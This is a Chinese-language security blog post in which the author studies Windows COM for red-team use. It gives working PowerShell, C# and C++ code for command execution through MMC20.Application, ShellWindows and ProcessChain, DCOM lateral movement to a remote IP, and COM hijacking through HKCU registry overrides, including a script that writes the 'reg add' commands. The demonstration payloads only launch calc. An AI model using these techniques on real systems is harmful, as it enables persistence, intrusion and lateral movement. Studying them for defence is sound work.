作者:0r@nge
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org
前言
本文是作者從0到1學習com的一個過程,記錄了從初識com到com的武器化利用以及挖掘。com組件博大精深,無論是從開發的角度還是安全的角度都非常值得研究,本文僅作入門貼。
基礎知識
對于com的基本認知,摘自頭像哥博客。對于com,個人沒有系統的讀過微軟的文檔,一直都不怎么了解,頭像哥的這幾個總結比較適合我這種懶的讀文檔的人初步了解。
-
在設計層面,COM模型分為
接口與實現。 例如計劃任務示例代碼中的ITaskService。 -
區分COM組件的唯一標識為
Guid,分別為針對接口的IID(Interface IDentifier)與針對類的CLSID(CLaSs IDentifier)。 例如CLSID_TaskScheduler定義為0F87369F-A4E5-4CFC-BD3E-73E6154572DD。 -
COM組件需要在注冊表內進行注冊才可進行調用。通常情況下,系統預定義組件注冊于
HKEY_LOCAL_MACHINE\SOFTWARE\Classes,用戶組件注冊于HKEY_CURRENT_USER\SOFTWARE\Classes。HKEY_CLASSES_ROOT為二者合并后的視圖,在系統服務角度等同于HKEY_LOCAL_MACHINE\SOFTWARE\Classes。 例如計劃任務組件的注冊信息注冊于HKEY_CLASSES_ROOT\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}。 -
Windows最小的可獨立運行單元是進程,最小的可復用的代碼單元為類庫,所以COM同樣存在
進程內(In-Process)與進程外(Out-Of-Process)兩種實現方式。多數情況下,進程外COM組件為一個exe,進程內COM組件為一個dll。 例如計劃任務的COM對象為進程內組件,由taskschd.dll實現。 -
為方便COM組件調用,可以通過
ProgId(Programmatic IDentifier)為CLSID指定別名。 例如計劃任務組件的ProgId為Schedule.Service.1。 -
客戶端調用
CoCreateInstance、CoCreateInstanceEx、CoGetClassObject等函數時,將創建具有指定CLSID的對象實例,這個過程稱為激活(Activation)。 例如微軟示例代碼中的CoCreateInstance(CLSID_TaskScheduler,....)。 -
COM采用
工廠模式(class factory)對調用方與實現方進行解耦,包括進程內外COM組件激活、通信、轉換,IUnknown::QueryInterface和IClassFactory始終貫穿其中。 例如微軟示例代碼中的一大堆QueryInterface。
還是有必要自己讀一下官方文檔,第一遍讀大部分官方術語是不太理解的,無傷大雅,能理解多少就理解多少。下面是我自己閱讀官方文檔總結的一些小點
-
com程序一般是dll文件,被提供給主程序調用。不同的com程序具有不同的接口,但是所有的接口都是從class factory 和 IUnknown接口獲得的。所以com程序必須實現 class factory 和 Iunknown接口
-
接口是實現對對象數據訪問的函數集,而接口的函數稱為方法。每個接口都有自己的唯一接口標識符,叫IID, IID也是一個GUID(全局唯一標識符)。 在定義接口時,用IDL來定義,使用MIDL編譯會生成對應的都文件,根據頭文件我們自己實現編程調用
-
IUnKnown接口 所有COM接口都繼承自IUnKnown接口,該接口具有3個成員函數,QueryInterface、AddRef、Release.
-
CoCreateInstance 函數創建com實例并返回客戶端請求的接口指針。客戶端指的是將CLSID傳遞給系統并請求com對象實例的調用方,這里個人理解為編程人員的代碼獲取com服務器的指針,并調用接口的方法使用com服務,服務器端指的是向系統提供COM對象的模塊 com服務器主要有兩種,進程內和進程外,進程內服務器在dll中實現,進程外服務器在exe中實現。 如果要創建com對象,com服務器需要提供 IClassFactory 接口的實現,而且 IClassFactory 包含 CreateInstance方法。 IUnknown::QueryInterface和IClassFactory始終貫穿在com組件的調用中。
-
在注冊com服務器的時候,如果是進程內注冊,即dll,dll必須導出以下函數 DllRegisterServer DllUnregisterServer 注冊是將com對象寫進注冊表,自然離不開注冊表的一系列函數 RegOpenKey RegCreateKey ......
-
幾乎所有的COM函數和接口方法都返回HRESULT類型的值,但HRESULT不是句柄
com與注冊表的關系
HKEY_CLASSES_ROOT 用于存儲一些文檔類型、類、類的關聯屬性
HKEY_CURRENT_CONFIG 用戶存儲有關本地計算機系統的當前硬件配置文件信息
HKEY_CURRENT_USER 用于存儲當前用戶配置項
HKEY_CURRENT_USER_LOCAL_SETTINGS 用于存儲當前用戶對計算機的配置項
HKEY_LOCAL_MACHINE 用于存儲當前用戶物理狀態
HKEY_USERS 用于存儲新用戶的默認配置項

com調用需要的值
- CLSID
- IID
- 虛函數表
- 方法簽名
整理以后制作IDL,獲取到IDL之后,就可以使用合適的語言進行調用
GUID 用于在系統中唯一標識一個對象,CLSID(類標識符)是GUID在注冊表中的表示,用于在注冊表中唯一標識一個com類對象。guid在標識接口時稱為IID(接口標識符)
每一個注冊的clsid表項中都含有一個 InprocServer32的子項,該子項內有映射到該com二進制文件的鍵值對,操作系統通過該鍵值對將com二進制文件載入進程。
InprocServer32表示的是dll的實現路徑,LocalServer32表示的是exe的實現路徑

com利用
執行命令
枚舉com對象
gwmi Win32_COMSetting | ? {$_.progid } | sort | ft ProgId,Caption,InprocServer32
COM接口里枚舉出來的函數(如果是微軟公開的話)可以到:https://docs.microsoft.com/en-us/search/?dataSource=previousVersions&terms= 搜索 例如:ExecuteShellCommand https://docs.microsoft.com/en-us/previous-versions/windows/desktop/mmc/view-executeshellcommand
在調用函數的時候需要注意,如果CLSID子項帶有ProgID的話需要指定ProgID調用方法或屬性
可以查看com對象的方法
如下,該類型庫公開了start方法,接受bool傳參以及commandLine方法

對com組件的利用可以直接使用powershell調用接口執行命令
這里可以調用mmc執行命令 ,后文會講到,mmc還支持遠程調用,等到DCOM那里會提
$handle = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1"))
$handle.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")

另一種調用COM執行命令 ShellWindows
$hb = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39"))
$item = $hb.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

等等……還有很多
$shell = [Activator]::CreateInstance([type]::GetTypeFromCLSID("72C24DD5-D70A-438B-8A42-98424B88AFB8"))
$shell.Run("calc.exe")
計劃任務
通過調用ITaskFolder::registerTask 來注冊計劃任務
這里頭像哥講的很通俗,可以參考
http://www.zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.1_basic.html
根據微軟官方稍作修改,實現dll武器化
進程注入
利用com實現進程注入,沒有調用CreateProcess等常規api,而是調用oleacc!GetProcessHandleFromHwnd(),利用 IRundown::DoCallback()執行命令,并且該接口需要一個IPID和OXID值來執行代碼。該接口也不是公開的方法,需要手動去逆,來實現武器化

本人在復現時注入失敗,根據報錯查看,在調用com接口的時候連接失敗,猜測是微軟已經修復。

代碼實現
https://github.com/mdsecactivebreach/com_inject
com劫持
我們知道dll劫持的原理是利用加載dll的路徑順序,替換原dll為惡意dll,那么com劫持是不是也是類似的呢
com組件的加載過程如下
HKCU\Software\Classes\CLSID
HKCR\CLSID
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\shellCompatibility\Objects\
可以看到HKCU的優先級高于HKCR高于HKLM
那我們的目標就很明顯了,劫持目標選擇 HKCU\Software\Classes\CLSID,這樣就會先加載我們的惡意dll。
與dll劫持不同的是,dll劫持只能劫持dll,com劫持可以劫持 com文件、pe文件、api文件等
步驟就是修改注冊表的路徑,指向我們的惡意路徑,和白加黑一樣
利用缺失的CLSID
嘗試一下對計算器進行com劫持,尋找 在InprocServer32下缺失的CLSID
因為修改InprocServer32下的dll需要一定權限,所以該方法需要管理員權限


保存并導出為csv

python實現自動化替換路徑
import csv
class Inject(object):
def __init__(self):
self.path='Logfile.CSV'
def add(self):
with open(self.path,'r',encoding='utf-8') as r:
g=csv.DictReader(r)
for name in g:
z=[x for x in name]
for i in z:
if 'HK' in str(name[i]):
print('reg add {} /ve /t REG_SZ /d C:\\Users\\Administrator\\Desktop\\test\\Dll64.dll /f'.format(name[i]),file=open('com_hijack.bat','a',encoding='utf-8'))
if __name__ == '__main__':
obj=Inject()
obj.add()
print('[!] Administrator run com_hijack.bat')
生成bat后需要管理員權限打開,再次打開calc發現已經成功劫持

該方法有個明顯的缺點,就是需要管理員權限。
所以這里出現了第二種方法
覆蓋COM鍵
原理:在HKCU注冊表中添加鍵值后,當com對象被調用,HKLM中的鍵值就會被覆蓋(并且添加到HKCR)中
先使用oleview.net來過濾程序啟動權限為空的id

設置過濾規則

隨手點開一個

查看clsid
ADDA2EBE-0BA0-4FEA-A1DE-2F3C7C596099
可以看到調用的dll

找到該CLSID對應的dll

修改加載的dll為惡意dll
C:\Program Files\Mozilla Firefox\notificationserver.dll

但在啟動的時候,發現并沒有劫持成功

這里猜測可能是因為該dll沒有被調用,需要特定服務才能調用,火狐不是那么通用,也也不清楚具體是哪個服務進行調用
下面換一個計算器來進行演示
劫持ie
這里選擇ie瀏覽器進行劫持,對應的CLSID為{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7},且該劫方法不需要高權限
可以看到本來的注冊表項鍵值

修改注冊表

啟動ie瀏覽器,劫持成功

代碼實現
https://github.com/0range-x/windows/blob/main/dll_weapon/ieHijack.cpp
com注冊表的濫用
LocalServer32
枚舉所有LocalServer32鍵值
$inproc = gwmi Win32_COMSetting | ?{ $_.LocalServer32 -ne $null }
$inproc | ForEach {$_.LocalServer32} > values.txt
gwmi Win32_COMSetting -computername 127.0.0.1 | ft LocalServer32 -autosize | Out-String -width 4096 | out-file dcom_exes.txt
gwmi Win32_COMSetting -computername 127.0.0.1 | ft InProcServer32 -autosize | Out-String -width 4096 | out-file dcom_dlls.txt

尋找File not Found
$paths = gc .\values.txt
foreach ($p in $paths){$p;cmd /c dir $p > $null}

找exe的文件夾路徑,這里手工嘗試了不少,但是沒有發現everyone權限的文件夾路徑

這里個人覺得尋找exe的效率很低,不如花時間去找dll實現武器化,畢竟dll的數量更多,利用的可能性更大
InprocServer32
枚舉所有InprocServer32中的鍵值
$inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null }
$paths = $inproc | ForEach {$_.InprocServer32} > demo.txt

$paths = gc .\demo.txt
foreach ($p in $paths){$p;cmd /c dir $p > $null}

同樣的,找文件夾的權限路徑,如果everyone可寫,可以替換惡意dll,然后使用rundll32加載
rundll32.exe -sta {CLSID}
DCOM橫移
com是在計算機本地的實現,DCOM是COM的進一步擴展,DCOM通過遠程過程調用(RPC)將com的功能在遠程計算機上實現,可以將DCOM理解為通過RPC實現的COM。
調用DCOM需要的條件。
通常情況下,調用DCOM連接到遠程計算機的時候,我們已經具有了本地管理員的權限
在很多com對象都看到APPid和CLSID是一個值,這里暫且將他們理解為CLSID的不同表示,就像GUID和CLSID一樣
枚舉支持DCOM的應用程序
Get-CimInstance -class Win32_DCOMApplication | select appid,name

使用DCOM執行命令
$com =[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
$com.Document.ActiveView | gm //查看方法
看到執行命令的方法

調用執行
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")

遠程調用,需要關閉防火墻
$com =[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.135.246"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")
另一種組件實現
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.135.246")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe","c:\windows\system32",$null, 0)
除了這兩種方法,支持DCOM調用的還有很多公開的方法,這里不再一一列舉,需要注意的是,不同的組件對不同的操作系統兼容性不同,建議投入實戰前先測試兼容性
Methods APPID
MMC20.Application 7e0423cd-1119-0928-900c-e6d4a52a0715
ShellWindows 9BA05972-F6A8-11CF-A442-00A0C90A8F39
ShellBrowserWindow C08AFD90-F2A1-11D1-8455-00A0C91F3880
Document.Application.ServiceStart()
Document.Application.ServiceStop()
Document.Application.IsServiceRunning()
Document.Application.ShutDownWindows()
Document.Application.GetSystemInformation()
怎么來查找是否可以被我們利用呢?
可以通過oleview.net 來查找對應的CLSID和啟動權限,看到這里 Launch Permission為空,說明普通權限即可

武器化實現
c#方法
以shellwindows為例
var CLSID = "9BA05972-F6A8-11CF-A442-00A0C90A8F39";
Type ComType = Type.GetTypeFromCLSID(new Guid(CLSID), ComputerName);
object RemoteComObject = Activator.CreateInstance(ComType);
object Item = RemoteComObject.GetType().InvokeMember("Item", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { });
object Document = Item.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, Item, null);
object Application = Document.GetType().InvokeMember("Application", BindingFlags.GetProperty, null, Document, null);
Application.GetType().InvokeMember("ShellExecute", BindingFlags.InvokeMethod, null, Application, new object[] { BaseCommand, Parameters + " " + Command, Directory, null, 0 });
可以看到利用和powershell是一樣的,只是需要一步步獲取方法名,傳參多一點
c++實現
實現思路
- 初始化com組件(CoInitializeEx)
- 初始化com安全屬性(CoInitializeSecurity)
- 獲取com組件的接口(CLSIDFromProgID)
- 創建實例(CreateInstance)
- 填寫com組件參數
- 清理釋放(Release + CoUninitialize)
實現demo
https://github.com/0range-x/windows/blob/main/win32/proxychain.cpp
com挖掘
已公開的com對象
可以通過下面代碼遍歷所有com組件和它導出的方法
New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR
Get-ChildItem -Path HKCR:\CLSID -Name | Select -Skip 1 > clsids.txt

可以查看所有的成員方法
$Position = 1
$Filename = "win10-clsid-members.txt"
$inputFilename = "clsids.txt"
ForEach($CLSID in Get-Content $inputFilename) {
Write-Output "$($Position) - $($CLSID)"
Write-Output "------------------------" | Out-File $Filename -Append
Write-Output $($CLSID) | Out-File $Filename -Append
$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID))
$handle | Get-Member | Out-File $Filename -Append
$Position += 1
}

找關鍵詞 execute,exec,spawn,launch,run
接著進行相應的傳參調用即可,類似shellWindows、mmc等
processChain的利用
實現是prchauto.dll,其中包含 tlib文件,可以用oleview打開
在注冊表中找到該com組件的實現文件

查看方法,看到接受commandLine方法,說明可能存在利用

去oleview中查看對應的tlb中包含的成員等信息

將這個tlib文件保存到idl文件,然后使用MIDL將IDL文件轉換成需要的c++頭文件,頭文件中會定義這個類和接口的使用方法。
補充一下:idl是一種接口定義語言,idl文件是接口定義文件,包含接口和類型庫定義,MIDL是IDL文件的編譯器
接下來編譯idl,最開始的時候配置命令行版本的midl,但是老是報錯,后面發現可以直接在vs里編譯

可以查看midl的輸出

編譯后生成h文件和c文件

我們需要根據頭文件來自己編程實現com組件的利用

main.cpp
#define CLSID_ProcessChain L"{E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E}"
#define IID_IProcessChain L"{79ED9CB4-3A01-4ABA-AD3C-A985EE298B20}"
BOOL ProcessChain(wchar_t cmd[]) {
HRESULT hr = 0;
CLSID clsidIProcessChain = { 0 };
IID iidIProcessChain = { 0 };
IProcessChain* ProcessChain = NULL;
BOOL bRet = FALSE;
//初始化com環境
CoInitialize(NULL);
CLSIDFromString(CLSID_ProcessChain, &clsidIProcessChain);
IIDFromString(IID_IProcessChain, &iidIProcessChain);
//創建com接口
hr = CoCreateInstance(clsidIProcessChain, NULL, CLSCTX_INPROC_SERVER, iidIProcessChain, (LPVOID*)&ProcessChain);
//設置布爾值供start接受參數
VARIANT_BOOL vb = VARIANT_TRUE;
//設置參數
ProcessChain->put_CommandLine((BSTR)cmd);
//調用方法
hr = ProcessChain->Start(&vb);
printf("[+] Load successfully!");
//釋放
CoUninitialize();
return TRUE;
}
未公開的com對象
需要利用一些逆向手段,和白加黑的挖掘比較相似(ps:以下方式僅僅是對這種方式的復現,并未去挖掘新的com利用)
那么,如果看不到它的方法或者參數怎么辦呢?這個時候就需要我們去逆向
在oleview里找到該方法調用的參數

這種情況我們還無法確定是否可以創建其他進程
在ida里發現該dll確實調用了CreateProcess,雖然沒有找到具體是哪個方法調用的,但基本可以確定該com對象是可以執行命令創建進程的,上文的利用也是印證了這一點

自動化挖掘
誠然,純手工挖掘com組件是很耗時的一件事情,下面介紹自動化挖掘com的方法
項目地址
https://github.com/nickvourd/COM-Hunter
大致介紹

com劫持

發現是oleacc.dll

修改后啟動ie瀏覽器,劫持成功

這種方式是不是比上面手動挖掘方便多了呢?但是也有缺點,找到的com并不完整,更深入的挖掘還是需要依靠手工
總結
com可以挖掘利用的點還有很多,瀏覽器、office等等各種功能都曾被挖掘出利用,現在已經成為對抗中的熱門領域,非常值得深度研究,包括劫持橫向提權等等……
本文也只是記錄個人在學習com從0-1的過程,如果有理解錯誤的地方,歡迎大家指正
參考文章
https://422926799.github.io/posts/73b20b1d.html
https://bohops.com/2018/04/28/abusing-dcom-for-yet-another-lateral-movement-technique/
https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
https://github.com/rvrsh3ll/SharpCOM/blob/master/SharpCOM/Program.cs
http://www.bjnorthway.com/1624/
https://learn.microsoft.com/en-us/windows/win32/taskschd/logon-trigger-example--c---
http://www.zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.1_basic.html
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/2030/
暫無評論